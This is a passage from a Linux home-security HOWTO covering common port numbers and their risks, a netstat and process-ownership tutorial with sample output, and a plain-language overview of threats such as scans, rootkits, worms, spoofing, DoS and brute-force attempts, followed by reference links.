123 - Network Time Protocol for synchronizing with time servers where a high degree of accuracy is required. Low risk, but probably not required for most users. rdate makes an easier and more secure way of updating the system clock. And then inetd's built in time service for synchronizing LAN systems is another option.

137-139 - NetBios (SMB) services. Mostly a Windows thing. Low risk on Linux, but LAN use only. 137 is a very commonly seen port attempt. A rather obnoxious protocol from Redmond that generates a lot of "noise", much of which is harmless.

143 - IMAP, Interim Mail Access Protocol. Another mail retrieval protocol. Low to moderate risk.

161 - SNMP, Simple Network Management Protocol. More commonly used in routers and switches to monitor statistics and vital signs. Not needed for most of us, and low risk.

177 - XDMCP, the X Display Management Control Protocol for remote connections to X servers. Low risk, but LAN only is recommended.

443 - HTTPS, a secure HTTP (WWW) protocol in fairly wide use. Low risk.

465 - SMTP over SSL, secure mail server protocol. Low risk.

512 (TCP) - exec is how it shows in netstat. Actually the proper name is rexec, for Remote Execution. Sounds dangerous, and is. High risk, LAN only if at all.

512 (UDP) - biff, a mail notification protocol. Low risk, LAN only.

513 - login, actually rlogin, aka Remote Login. No relation to the standard /bin/login that we use every time we log in. Sounds dangerous, and is. High risk, and LAN only if really needed.

514 (TCP) - shell is the nickname, and how netstat shows it. Actually, rsh is the application for "Remote Shell". Like all the "r" commands, this is a throw back to kindler, gentler times. Very insecure, so high risk, and LAN only usage, if at all.

514 (UDP) - syslog daemon port, only used for remote logging purposes. The average user does not need this. Probably low risk, but definitely LAN only if really required.

515 - lp or print server port. High risk, and LAN only of course. Someone on the other side of the world does not want to use your printer for it's intended purpose!

587 - MSA, or "submission", the Mail Submission Agent protocol. A new mail handling protocol supported by most MTA's (mail servers). Low risk.

631 - the CUPS (print daemon) web management port. LAN only, low risk.

635 - mountd, part of NFS. LAN use only.

901 - SWAT, Samba Web Administration Tool port. LAN only.

993 - IMAP over SSL, secure IMAP mail service. Very low risk.

995 - POP over SSL, secure POP mail service. Very low risk.

1024 - This is the first "unprivileged" port, which is dynamically assigned by the kernel to whatever application requests it. This can be almost anything. Ditto for ports just above this.

1080 - Socks Proxy server. A favorite crack target.

1243 - SubSeven Trojan. Windows only problem.

1433 - MS SQL server port. A sometimes target. N/A on Linux.

2049 - nfsd, Network File Service Daemon port. High risk, and LAN usage only is recommended.

3128 - Squid proxy server port. Low risk, but for most should be LAN only.

5432 - Postgres SQL server port. LAN only, relatively low risk.

5631 (TCP), 5632 (UDP) - PCAnywhere ports. Windows only. PCAnywhere can be quite "noisy", and broadcast wide address ranges.

6000 - X11 TCP port for remote connections. Low to moderate risk, but again, this should be LAN only. Actually, this can include ports 6000-6009 since X can support multiple displays and each display would have its own port. ssh's X11Forwarding will start using ports at 6010.

6346 - gnutella.

6667 - ircd, Internet Relay Chat Daemon.

6699 - napster.

7100-7101 - Some font servers use these ports. Low risk, but LAN only.

8000 and 8080 - common web cache and proxy server ports. LAN only.

10000 - webmin, a web based system administration utility. Low risk at this point.

27374 - SubSeven, a commonly probed for Windows only Trojan. Also, 1243.

31337 - Back Orifice, another commonly probed for Windows only Trojan.

More services and corresponding port numbers can be found in /etc/services. Also, the "official" list is http://www.iana.org/assignments/port-numbers.

A great analysis of what probes to these and other ports might mean from Robert Graham: http://www.linuxsecurity.com/resource_files/firewalls/firewall-seen.html. A very good reference.

Another point here, these are the standard port designations. There is no law that says any service has to run on a specific port. Usually they do, but certainly they don't always have to.

Just a reminder that when you see these types of ports in your firewall logs, it is not anything to go off the deep end about. Not if you have followed Steps 1-3 above, and verified your firewall works. You are fairly safe. Much of this traffic may be "stray bullets" too -- Internet background noise, misconfigured clients or routers, noisy Windows stuff, etc.

8.3. Netstat Tutorial

8.3.1. Overview

netstat is a very useful utility for viewing the current state of your network status -- what servers are listening for incoming connections, what interfaces they listen on, who is connected to us, who we are connect to, and so on. Take a look at the man page for some of the many command line options. We'll just use a relative few options here.

As an example, let's check all currently listening servers and active connections for both TCP and UDP on our hypothetical host, bigcat. bigcat is a home desktop installation, with a DSL Internet connection in this example. bigcat has two ethernet cards: one for the external connection to the ISP, and one for a small LAN with an address of 192.168.1.1.

$ netstat -tua
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:printer               *:*                     LISTEN
tcp        0      0 bigcat:8000             *:*                     LISTEN
tcp        0      0 *:time                  *:*                     LISTEN
tcp        0      0 *:x11                   *:*                     LISTEN
tcp        0      0 *:http                  *:*                     LISTEN
tcp        0      0 bigcat:domain           *:*                     LISTEN
tcp        0      0 bigcat:domain           *:*                     LISTEN
tcp        0      0 *:ssh                   *:*                     LISTEN
tcp        0      0 *:631                   *:*                     LISTEN
tcp        0      0 *:smtp                  *:*                     LISTEN
tcp        0      1 dsl-78-199-139.s:1174   64.152.100.93:nntp      SYN_SENT
tcp        0      1 dsl-78-199-139.s:1175   64.152.100.93:nntp      SYN_SENT
tcp        0      1 dsl-78-199-139.s:1173   64.152.100.93:nntp      SYN_SENT
tcp        0      0 dsl-78-199-139.s:1172   207.153.203.114:http    ESTABLISHED
tcp        1      0 dsl-78-199-139.s:1199   www.xodiax.com:http     CLOSE_WAIT
tcp        0      0 dsl-78-199-139.sd:http  63.236.92.144:34197     TIME_WAIT
tcp      400      0 bigcat:1152             bigcat:8000             CLOSE_WAIT
tcp     6648      0 bigcat:1162             bigcat:8000             CLOSE_WAIT
tcp      553      0 bigcat:1164             bigcat:8000             CLOSE_WAIT
udp        0      0 *:32768                 *:*
udp        0      0 bigcat:domain           *:*
udp        0      0 bigcat:domain           *:*
udp        0      0 *:631                   *:*

This output probably looks very different from what you get on your own system. Notice the distinction between "Local Address" and "Foreign Address", and how each includes a corresponding port number (or service name if available) after the colon. "Local Address" is our end of the connection. The first group with LISTEN in the far right hand column are services that are running on this system. These are servers that are running in the background on bigcat, and "listen" for incoming connections. So they have a port opened, and this is where they "listen". These connections might come from the local system (i.e. bigcat itself), or remote systems. This is very important information to have! The others just below this are connections that have been established from this system to other systems. The respective connections are in varying states as indicated by the key words in the last column. Those with no key word in the last column at the end are servers responding to UDP connections. UDP is a different protocol from TCP altogether, but is used for some types of low priority network traffic.

Now, the same thing with the "-n" flag to suppress converting to "names" so we can actually see the port numbers:

$ netstat -taun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address      State
tcp        0      0 0.0.0.0:515             0.0.0.0:*            LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:37              0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:6000            0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*            LISTEN
tcp        0      0 192.168.1.1:53          0.0.0.0:*            LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:631             0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:25              0.0.0.0:*            LISTEN
tcp        0      1 169.254.179.139:1174    64.152.100.93:119    SYN_SENT
tcp        0      1 169.254.179.139:1175    64.152.100.93:119    SYN_SENT
tcp        0      1 169.254.179.139:1173    64.152.100.93:119    SYN_SENT
tcp        0      0 169.254.179.139:1172    207.153.203.114:80   ESTABLISHED
tcp        1      0 169.254.179.139:1199    216.26.129.136:80    CLOSE_WAIT
tcp        0      0 169.254.179.139:80      63.236.92.144:34197  TIME_WAIT
tcp      400      0 127.0.0.1:1152          127.0.0.1:8000       CLOSE_WAIT
tcp     6648      0 127.0.0.1:1162          127.0.0.1:8000       CLOSE_WAIT
tcp      553      0 127.0.0.1:1164          127.0.0.1:8000       CLOSE_WAIT
udp        0      0 0.0.0.0:32768           0.0.0.0:*
udp        0      0 192.168.1.1:53          0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:631             0.0.0.0:*

Let's look at the first few lines of this in detail. On line one,

 tcp        0      0 0.0.0.0:515            0.0.0.0:*          LISTEN

"Local Address" is 0.0.0.0, meaning "all" interfaces that are available. The local port is 515, or the standard print server port, usually owned by the lpd daemon. You can find a listing of common service names and corresponding ports in the file /etc/services.

The fact that it is listening on all interfaces is significant. In this case, that would be lo (localhost), eth0, and eth1. Printer connections could conceivably be made over any of these interfaces. Should a user on this system bring up a PPP connection, then the print daemon would be listening on that interface (ppp0) as well. The "Foreign Address" is also 0.0.0.0, meaning from "anywhere".

It is also worth noting here, that even though this server is telling the kernel to listen on all interfaces, the netstat output does not reflect whether there may be a firewall in place that may be filtering incoming connections. We just can't tell that at this point. Obviously, for certain servers, this is very desirable. Nobody outside your own LAN has any reason whatsoever to connect to your print server port for instance.

Line two is a little different:

 tcp        0      0 127.0.0.1:8000         0.0.0.0:*          LISTEN

Notice the "Local Address" this time is localhost's address of 127.0.0.1. This is very significant as only connections local to this machine will be accepted. So only bigcat can connect to bigcat's TCP port 8000. The security implications should be obvious. Not all servers have configuration options that allow this kind of restriction, but it is a very useful feature for those that do. Port 8000 in this example, is owned by the web proxy Junkbuster.

With the next three entries, we are back to listening on all available interfaces:

 tcp        0      0 0.0.0.0:37             0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:6000           0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:80             0.0.0.0:*           LISTEN

Looking at /etc/services, we can tell that port 37 is a "time" service, which is a time server. 6000 is X11, and 80 is the standard port for HTTP servers like Apache. There is nothing really unusual here as these are all readily available services on Linux.

The first two above are definitely not the kind of services you'd want just anyone to connect to. These should be firewalled so that all outside connections are refused. Again, we can't tell from this output whether any firewall is in place, much less how effectively implemented it may be.

The web server on port 80 is not a huge security risk by itself. HTTP is a protocol that is often open to all comers. For instance, if we wanted to host our own home page, Apache can certainly do this for us. It is also possible to firewall this off, so that it is for use only to our LAN clients as part of an Intranet. Obviously too, if you do not have a good justification for running a web server, then it should be disabled completely.

The next two lines are interesting:

 tcp        0      0 192.168.1.1:53         0.0.0.0:*           LISTEN
 tcp        0      0 127.0.0.1:53           0.0.0.0:*           LISTEN

Again notice the "Local Address" is not 0.0.0.0. This is good! The port this time is 53, or the DNS port used by nameserver daemons like named. But we see the nameserver daemon is only listening on the lo interface (localhost), and the interface that connects bigcat to the LAN. So the kernel only allows connections from localhost, and the LAN. There will be no port 53 available to outside connections at all. This is a good example of how individual applications can sometimes be securely configured. In this case, we are probably looking at a caching DNS server since a real nameserver that is responsible for handling DNS queries would have to have port 53 open to the world. This is a security risk and requires special handling.

The last three LISTENER entries:

 tcp        0      0 0.0.0.0:22             0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:631            0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:25             0.0.0.0:*           LISTEN

These are back to listening on all available interfaces. Port 22 is sshd, the Secure Shell server daemon. This is a good sign! Notice that the service for port 631 does not have a service name if we look at the output in the first example. This might be a clue that something unusual is going on here. (See the next section for the answer to this riddle.) And lastly, port 25, the standard port for the SMTP mail daemon. Most Linux installations probably will have an SMTP daemon running, so this is not necessarily unusual. But is it necessary?

The next grouping is established connections. For our purposes the state of the connection as indicated by the last column is not so important. This is well explained in the man page.

 tcp        0      1 169.254.179.139:1174    64.152.100.93:119    SYN_SENT
 tcp        0      1 169.254.179.139:1175    64.152.100.93:119    SYN_SENT
 tcp        0      1 169.254.179.139:1173    64.152.100.93:119    SYN_SENT
 tcp        0      0 169.254.179.139:1172    207.153.203.114:80   ESTABLISHED
 tcp        1      0 169.254.179.139:1199    216.26.129.136:80    CLOSE_WAIT
 tcp        0      0 169.254.179.139:80      63.236.92.144:34197  TIME_WAIT
 tcp      400      0 127.0.0.1:1152          127.0.0.1:8000       CLOSE_WAIT
 tcp     6648      0 127.0.0.1:1162          127.0.0.1:8000       CLOSE_WAIT
 tcp      553      0 127.0.0.1:1164          127.0.0.1:8000       CLOSE_WAIT

There are nine total connections here. The first three is our external interface connecting to a remote host on their port 119, the standard NNTP (News) port. There are three connections here to the same news server. Apparently the application is multi-threaded, as it is trying to open multiple connections to the news server. The next two entries are connections to a remote web server as indicated by the port 80 after the colon in the fifth column. Probably a pretty common looking entry for most of us. But the one just after is reversed and has the port 80 in the fourth column, so this is someone that has connected to bigcat's web server via its external, Internet-side interface. The last three entries are all connections from localhost to localhost. So we are connecting to ourselves here. Remembering from above that port 8000 is bigcat's web proxy, this is a web browser that is connected to the locally running proxy. The proxy then will open an external connection of its own, which probably is what is going on with lines four and five.

Since we gave netstat both the -t and -u options, we are getting both the TCP and UDP listening servers. The last few lines are the UDP ones:

 udp        0      0 0.0.0.0:32768          0.0.0.0:*
 udp        0      0 192.168.1.1:53         0.0.0.0:*
 udp        0      0 127.0.0.1:53           0.0.0.0:*
 udp        0      0 0.0.0.0:631            0.0.0.0:*

The last three entries have ports that are familiar from the above discussion. These are servers that are listening for both TCP and UDP connections. Same servers in this case, just using two different protocols. The first one on local port 32768 is new, and does not have a service name available to it in /etc/services. So at first glance this should be suspicious and pique our curiosity. See the next section for the explanation.

Can we draw any conclusions from this hypothetical situation? For the most part, these look to be pretty normal looking network services and connections for Linux. There does not seem to be an unduly high number of servers running here, but that by itself does not mean much since we don't know if all these servers are really required or not. We know that netstat can not tell us if any of these are effectively firewalled, so there is no way to say how secure all this might be. We also don't really know if all the listening services are really required by the owner here. That is something that varies widely from installation to installation. Does bigcat even have a printer attached for instance? Presumably it does, or this is a completely unnecessary risk.

8.3.2. Port and Process Owners

We've learned a lot about what is going on with bigcat's networking from the above section. But suppose we see something we don't recognize and want to know what started that particular service? Or we want to stop a particular server and it is not obvious from the above output?

The -p option should give us the process's PID and the program name that started the process in the last column. Let's look at the TCP servers again (with first three columns cropped for spacing). We'll have to run this as root to get all the available information:

# netstat -tap
Active Internet connections (servers and established)
  Local Address           Foreign Address      State       PID/Program name
  *:printer               *:*                  LISTEN       988/inetd
  bigcat:8000             *:*                  LISTEN       1064/junkbuster
  *:time                  *:*                  LISTEN       988/inetd
  *:x11                   *:*                  LISTEN       1462/X
  *:http                  *:*                  LISTEN       1078/httpd
  bigcat:domain           *:*                  LISTEN       956/named
  bigcat:domain           *:*                  LISTEN       956/named
  *:ssh                   *:*                  LISTEN       972/sshd
  *:631                   *:*                  LISTEN       1315/cupsd
  *:smtp                  *:*                  LISTEN       1051/master

Some of these we already know about. But we see now that the printer daemon on port 515 is being started via inetd with a PID of "988". inetd is a special situation. inetd is often called the "super server", since it's main role is to spawn sub-services. If we look at the first line, inetd is listening on port 515 for printer services. If a connection comes for this port, inetd intercepts it, and then will spawn the appropriate daemon, i.e. the print daemon in this case. The configuration of how inetd handles this is typically done in /etc/inetd.conf. This should tell us that if we want to stop an inetd controlled server on a permanent basis, then we will have to dig into the inetd (or perhaps xinetd) configuration. Also the time service above is started via inetd as well. This should also tell us that these two services can be further protected by tcpwrappers (discussed in Step 3 above). This is one benefit of using inetd to control certain system services.

We weren't sure about the service on port 631 above since it did not have a standard service name, which means it is something maybe unusual or off the beaten path. Now we see it is owned by cupsd , which is one of several print daemons available under Linux. This happens to be the web interface for controlling the printer service. Something cupsd does that is indeed a little different than other print servers.

The last entry above is the SMTP mail server on bigcat. Often, this is sendmail with many distributions. But not in this case. The command is "master", which may not ring any bells. Armed with the program name we could go searching the filesystem with tools like the locate or find commands. After we found it, we could then probably discern what package it belonged to. But with the PID available now, we can look at ps output, and see if that helps us any:

 $ /bin/ps ax |grep 1051 |grep -v grep
  1051 ?        S        0:24 /usr/libexec/postfix/master

We took a shortcut here by combining ps with grep. It looks like that this file belongs to postfix, which is indeed a mail server package comparable to sendmail.

Running ps with the --forest flag (-f for short) can be helpful in determining what processes are parent or child process or another process. An edited example:

 $ /bin/ps -axf
  956 ?        S      0:00 named -u named
  957 ?        S      0:00  \_ named -u named
  958 ?        S      0:46      \_ named -u named
  959 ?        S      0:47      \_ named -u named
  960 ?        S      0:00      \_ named -u named
  961 ?        S      0:11      \_ named -u named
 1051 ?        S      0:30 /usr/libexec/postfix/master
 1703 ?        S      0:00  \_ tlsmgr -l -t fifo -u -c
 1704 ?        S      0:00  \_ qmgr -l -t fifo -u -c
 1955 ?        S      0:00  \_ pickup -l -t fifo -c
 1863 ?        S      0:00  \_ trivial-rewrite -n rewrite -t unix -u -c
 2043 ?        S      0:00  \_ cleanup -t unix -u -c
 2049 ?        S      0:00  \_ local -t unix
 2062 ?        S      0:00  \_ smtpd -n smtp -t inet -u -c

A couple of things to note here. We have two by now familiar daemons here: named and postfix (smtpd). Both are spawning sub-processes. In the case of named, what we are seeing is threads, various sub-processes that it always spawns. Postfix is also spawning sub-processes, but not as "threads". Each sub-process has its own specific task. It is worth noting that child processes are dependent on the parent process. So killing the parent PID, will in turn kill all child processes.

If all this has not shed any light, we might also try locate:

 $ locate /master
 /etc/postfix/master.cf
 /var/spool/postfix/pid/master.pid
 /usr/libexec/postfix/master
 /usr/share/vim/syntax/master.vim
 /usr/share/vim/vim60z/syntax/master.vim
 /usr/share/doc/postfix-20010202/html/master.8.html
 /usr/share/doc/postfix-20010202/master.cf
 /usr/share/man/man8/master.8.gz

find is perhaps the most flexible file finding utility, but doesn't use a database the way locate does, so is much slower:

 $ find / -name master
 /usr/libexec/postfix/master

If lsof is installed, it is another command that is useful for finding who owns processes or ports:

 # lsof -i :631
 COMMAND  PID  USER    FD   TYPE DEVICE SIZE NODE NAME
 cupsd   1315  root    0u   IPv4   3734       TCP *:631 (LISTEN)

This is again telling us that the cupsd print daemon is the owner of port 631. Just a different way of getting at it. Yet one more way to get at this is with fuser, which should be installed:

 # fuser -v -n tcp 631

                      USER        PID  ACCESS  COMMAND
 631/tcp              root       1315  f....   cupsd

See the man pages for fuser and lsof command syntax.

Another place to look for where a service is started, is in the init.d directory, where the actual init scripts live (for SysVinit systems). Something like ls -l /etc/init.d/, should give us a list of these. Often the script name itself gives a hint as to which service(s) it starts, though it may not necessarily exactly match the "Program Name" as provided by netstat. Or we can use grep to search inside files and match a search pattern. Need to find where rpc.statd is being started, and we don't see a script by this name?

 # grep rpc.statd /etc/init.d/*
 /etc/init.d/nfslock: [ -x /sbin/rpc.statd ] || exit 0
 /etc/init.d/nfslock:    daemon rpc.statd
 /etc/init.d/nfslock:    killproc rpc.statd
 /etc/init.d/nfslock:    status rpc.statd
 /etc/init.d/nfslock:    /sbin/pidof rpc.statd >/dev/null 2>&1; STATD="$?"

We didn't really need all that information, but at least we see now exactly which script is starting it. Remember too that not all services are started this way. Some may be started via inetd, or xinetd.

The /proc filesystem also keeps everything we want to know about processes that are running. We can query this to find out more information about each process. Do you need to know the full path of the command that started a process?

 # ls -l /proc/1315/exe
 lrwxrwxrwx  1 root  root   0 July 4 19:41 /proc/1315/exe -> /usr/sbin/cupsd

Finally, we had a loose end or two in the UDP listening services. Remember we had a strange looking port number 32768, that also had no service name associated with it:

 # netstat -aup
 Active Internet connections (servers and established)
  Local Address           Foreign Address         State       PID/Program name
   *:32768                 *:*                                 956/named
   bigcat:domain           *:*                                 956/named
   bigcat:domain           *:*                                 956/named
   *:631                   *:*                                 1315/cupsd

Now by including the "PID/Program name" option with the -p flag, we see this also belongs to named, the nameserver daemon. Recent versions of BIND use an unprivileged port for some types of traffic. In this case, this is BIND 9.x. So no real alarms here either. The unprivileged port here is the one named uses to to talk to other nameservers for name and address lookups, and should not be firewalled.

So we found no big surprises in this hypothetical situation.

If all else fails, and you can't find a process owner for an open port, suspect that it may be an RPC (Remote Procedure Call) service of some kind. These use randomly assigned ports without any seeming logic or consistency, and are typically controlled by the portmap daemon. In some cases, these may not reveal the process owner to netstat or lsof. Try stopping portmap, and then see if the mystery service goes away. Or you can use rpcinfo -p localhost to see what RPC services may be running (portmap must be running for this to work).

Warning

If you suspect you have been broken into, do not trust netstat or ps output. There is a good chance that they, and other system components, has been tampered with in such a way that the output is not reliable.

8.4. Attacks and Threats

In this section, we will take a quick look at some of the common threats and techniques that are out there, and attempt to put them into some perspective.

The corporate world, government agencies and high profile Internet sites have to be concerned with a much more diverse and challenging set of threats than the typical home desktop user. There are many reasons someone may want to break in to someone else's computer. It may be just for kicks, or any number of malicious reasons. They may just want a base from which to attack someone else. This is a very common motivation.

The most common "attack" for most of us is from already compromised systems. The Internet is littered with computers that have been broken into, and are now doing their master's bidding blindly, in zombie-like fashion. They are programmed to scan massively large address ranges, probing each individual IP address as they go. Looking for one or more open ports, and then probing for known weaknesses if they get the chance. Very impersonal. Very methodical. And very effective. We are all in the path of such robotic scans. All because those responsible for these systems fail to do what you are doing now - taking steps to protect their system(s), and avoid being r00ted.

These scans do not look at login banners that may be presented on connection. It will do little good to change your /etc/issue.net to pretend that you are running some obscure operating system. If they find something listening, they will try all of the exploits appropriate to that port, without regard to any indications your system may give. If it works, they are in -- if not, they will move on.

8.4.1. Port Scans and Probes

First, let's define "scan" and "probe" since these terms come up quite a bit. A "probe" implies testing if a given port is open or closed, and possibly what might be listening on that port. A "scan" implies either "probing" multiple ports on one or more systems. Or individual ports on multiple systems. So you might "scan" all ports on your own system for instance. Or a cracker might "scan" the 216.78.*.* address range to see who has port 111 open.

Black hats can use scan and probe information to know what services are running on a given system, and then they might know what exploits to try. They may even be able to tell what Operating System is running, and even kernel version, and thus get even more information. "Worms", on the other hand, are automated and scan blindly, generally just looking for open ports, and then a susceptible victim. They are not trying to "learn" anything, the way a cracker might.

The distinction between "scan" and "probe"is often blurred. Both can used in good ways, or in bad ways, depending on who is doing it, and why. You might ask a friend to scan you, for instance, to see how well your firewall is working. This is a legitimate use of scanning tools such as nmap. But what if someone you don't know does this? What is their intent? If it's your ISP, they may be trying to enforce their Terms of Service Agreement. Or maybe, it is someone just playing, and seeing who is "out there". But more than likely it is someone or something with not such good intentions.

Full range port scans (meaning probing of many ports on the same machine) seem to be a not so common threat for home based networks. But certainly, scanning individual ports across numerous systems is a very, very common occurrence.

8.4.2. Rootkits

A "rootkit" is the script kiddie's stock in trade. When a successful intrusion takes place, the first thing that is often done, is to download and install such "rootkits". The rootkit is a set of scripts designed to take control of the system, and then hide the intrusion. Rootkits are readily available on the web for various Operating Systems.

A rootkit will typically replace critical system files such as ls, ps, netstat, login and others. Passwords may be added, hidden daemons started, logs tampered with, and surely one of more backdoors are opened. The hidden backdoors allow easy access any time the attacker wants back in. And often the vulnerability itself may even be fixed so that the new "owner" has the system all to himself. The entire process is scripted so it happens very quickly. The rightful owners of these compromised systems generally have no idea what is going on, and are victims themselves. A well designed rootkit can be very difficult to detect.

8.4.3. Worms and Zombies

A "worm" is a self replicating exploit. It infects a system, then attempts to spread itself typically via the same vulnerability. Various "worms" are weaving their way through the entire Internet address space constantly, spreading themselves as they go.

But somewhere behind the zombie, there is a controller. Someone launched the worm, and they will be informed after a successful intrusion. It is then up to them how the system will be used.

Many of these are Linux systems, looking for other Linux systems to "infect" via a number of exploits. But most Operating Systems share in this threat. Once a vulnerable system is found, the actual entry and take over is quick, and may be difficult to detect after the fact. The first thing an intruder (whether human or "worm") will do is attempt to cover their tracks. A "rootkit" is downloaded and installed. This trend has been exacerbated by the growing popularity of cable modems and DSL. The number of full time Internet connections is growing rapidly, and this makes fertile ground for such exploits since often these aren't as well secured as larger sites.

While this may sound ominous, a few simple precautions can effectively deter this type of attack. With so many easy victims out there, why waste much effort breaking into your system? There is no incentive to really try very hard. Just scan, look, try, move on if unsuccessful. There is always more IPs to be scanned. If your firewall is effectively bouncing this kind of thing, it is no threat to you at all. Take comfort in that, and don't over re-act.

It is worth noting, that these worms cannot "force" their way in. They need an open and accessible port, and a known vulnerability. If you remember the "Iptables Weekly Log Summary" in the opening section above, many of those may have all been the result of this type of scan. If you've followed the steps in this HOWTO, you should be reasonably safe here. This one is easy enough to deflect.

8.4.4. Script Kiddies

A "script kiddie" is a "cracker" wanna be who doesn't know enough to come up with his/her own exploits, but instead relies on "scripts" and exploits that have been developed by others. Like "worms", they are looking for easy victims, and may similarly scan large address ranges looking for specific ports with known vulnerabilities. Often, the actual scanning is done from already comprised systems so that it is difficult to trace it back to them.

The script kiddie has a bag of ready made tricks at his disposal, including an arsenal of "rootkits" for various Operating Systems. Finding susceptible victims is not so hard, given enough time and address space to probe. The motives are a mixed bag as well. Simple mischief, defacement of web sites, stolen credit card numbers, and the latest craze, "Denial of Service" attacks (see below). They collect zombies like trophies and use them to carry out whatever their objective is.

Again, the key here is that they are following a "script", and looking for easy prey. Like the worm threat above, a functional firewall and a few very basic precautions, should be sufficient to deflect any threat here. By now, you should be relatively safe from this nuisance.

8.4.5. Spoofed IPs

How easy is it to spoof an IP address? With the right tools, very easy. How much of a threat is this? Not much, for most of us, and is over-hyped as a threat.

Because of the way TCP/IP works, each packet must carry both the source and destination IP addresses. Any return traffic is based on this information. So a spoofed IP can never return any useful information to an attacker who is sending out spoofed packets. The traffic would go back to wherever that spoofed IP address was pointed. The attacker gets nothing back at all.

This does have potential for "DoS" attacks (see below) where learning something about the targeted system is not important. And may be used for some general mischief making as well.

8.4.6. Targeted Attacks

The worm and wide ranging address type scans, are impersonal. They are just looking for any vulnerable system. It makes no difference whether it is a top secret government facility, or your mother's Window's box. But there are "black hats" that will spend a great deal of effort to get into a system or network. We'll call these "targeted" attacks since there has been a deliberate decision made to break in to a specific system or network.

In this case, the attacker will look the system over for weaknesses. And possibly make many different kinds of attempts, until he finds a crack to wiggle through. Or gives up. This is more difficult to defend against. The attacker is armed and dangerous, so to speak, and is stalking his prey.

Again, this scenario is very unlikely for a typical home system. There just generally isn't any incentive to take the time and effort when there are bigger fish to fry. For those who may be targets, the best defense here includes many of things we've discussed. Vigilance is probably more important than ever. Good logging practices and an IDS (Intrusion Detection System) should be in place. And subscribing to one or more security related mailing lists like BUGTRAQ. And of course, reading those alerts daily, and taking the appropriate actions, etc.

8.4.7. Denial of Service (DoS)

"DoS" is another type of "attack" in which the intention is to disrupt or overwhelm the targeted system or network in such a way that it cannot function normally. DoS can take many forms. On the Internet, this often means overwhelming the victim's bandwidth or TCP/IP stack, by sending floods of packets and thus effectively disabling the connection. We are talking about many, many packets per second. Thousands in some cases. Or perhaps, the objective is to crash a server.

This is much more likely to be targeted at organizations or high profile sites, than home users. And can be quite challenging to stop depending on the technique. And it generally requires the co-operation of networks between the source(s) and the target, so that the floods are stopped, or minimized, before they reach the targeted destination. Once they hit the destination, there is no good way to completely ignore them.

"DDoS", Distributed Denial of Service, is where multiple sources are used to maximize the impact. Again, not likely to be directly targeted at home users. These are "slaves" that are "owned" by a cracker, or script kiddie, that are woken up and are targeted at the victim. There may be many computers involved in the attack.

If you are home user, and with a dynamic IP address, you might find disconnecting, then re-connecting to get a new IP, an effective way out if you are the target. Maybe.

8.4.8. Brute Force

"Brute force" attacks are where the attacker makes repetitive attempts at the same perceived weakness(es). Like a battering ram. A classic example would be where someone tries to access a telnet server simply by continually throwing passwords at it, hoping that one will eventually work. Or maybe crash the server. This doesn't require much imagination, and is not a commonly used tactic against home systems.

By the way, this is one good argument against allowing remote root logins. The root account exists on all systems. It is probably the only one that this is true of. You'd like to make a potential attacker guess both the login name and password. But if root is allowed remote logins, then the attacker only needs to guess the password!

8.4.9. Viruses

And now something not to worry about. Viruses seem to be primarily a Microsoft problem. For various reasons, viruses are not a significant threat to Linux users. This is not to say that it will always be this way, but the current virus explosion that plagues Microsoft systems, can not spread to Linux (or Unix) based systems. In fact, the various methods and practices that enable this phenomena, are not exploitable on Linux. So Anti-Virus software is not recommended as part of our arsenal. At least for the time being with Linux only networks.

8.5. Links

Some references for further reading are listed below. Not listed is your distribution's site, security page or ftp download site. You will have to find these on your own. Then you should bookmark them!

  • Other relevant documents available from the Linux Documentation Project:

    Security HOWTO: http://linuxdoc.org/HOWTO/Security-HOWTO.html

    Firewall HOWTO: http://linuxdoc.org/HOWTO/Firewall-HOWTO.html

    Ipchains HOWTO: http://linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html

    User Authentication: http://linuxdoc.org/HOWTO/User-Authentication-HOWTO/index.html, includes a nice discussion on PAM.

    VPN (Virtual Private Network): http://linuxdoc.org/HOWTO/VPN-HOWTO.html and http://linuxdoc.org/HOWTO/VPN-Masquerade-HOWTO.html

    The Remote X Apps Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/Remote-X-Apps.html, includes excellent discussions on the security implications of running X Windows.

    The Linux Network Administrators Guide: http://linuxdoc.org/LDP/nag2/index.html, includes a good overview of networking and TCP/IP, and firewalling.

    The Linux Administrator's Security Guide: http://www.seifried.org/lasg/, includes many obvious topics of interest, including firewalling, passwords and authentication, PAM, and more.

    Securing Red Hat: http://linuxdoc.org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edition-v1.3/index.html

  • Tools for creating custom ipchains and iptables firewall scripts:

    PMFirewall: http://www.pmfirewall.com/PMFirewall/

    Firestarter: http://firestarter.sourceforge.net

    Two related projects: http://seawall.sourceforge.net/ for ipchains, and http://shorewall.sourceforge.net/ for iptables.

  • Netfilter and iptables documentation from the netfilter developers (available in many other languages as well):

    FAQ: http://netfilter.samba.org/documentation/FAQ/netfilter-faq.html
    Packet filtering: http://netfilter.samba.org/documentation/HOWTO/packet-filtering-HOWTO.html
    Networking: http://netfilter.samba.org/documentation/HOWTO/networking-concepts-HOWTO.html
    NAT/masquerading: http://netfilter.samba.org/documentation/HOWTO/NAT-HOWTO.html

  • Port number assignments, and what that scanner may be scanning for:

    http://www.linuxsecurity.com/resource_files/firewalls/firewall-seen.html

    http://www.sans.org/newlook/resources/IDFAQ/oddports.htm

    http://www.iana.org/assignments/port-numbers, the official assignments.

  • General security sites. These all have areas on documentation, alerts, newsletters, mailing lists, and other resources.

    Linux Security.com: http://www.linuxsecurity.com, loaded with good info, and Linux specific. Lots of good docs: http://www.linuxsecurity.com/docs/

    CERT, http://www.cert.org

    The SANS Institute: http://www.sans.org/

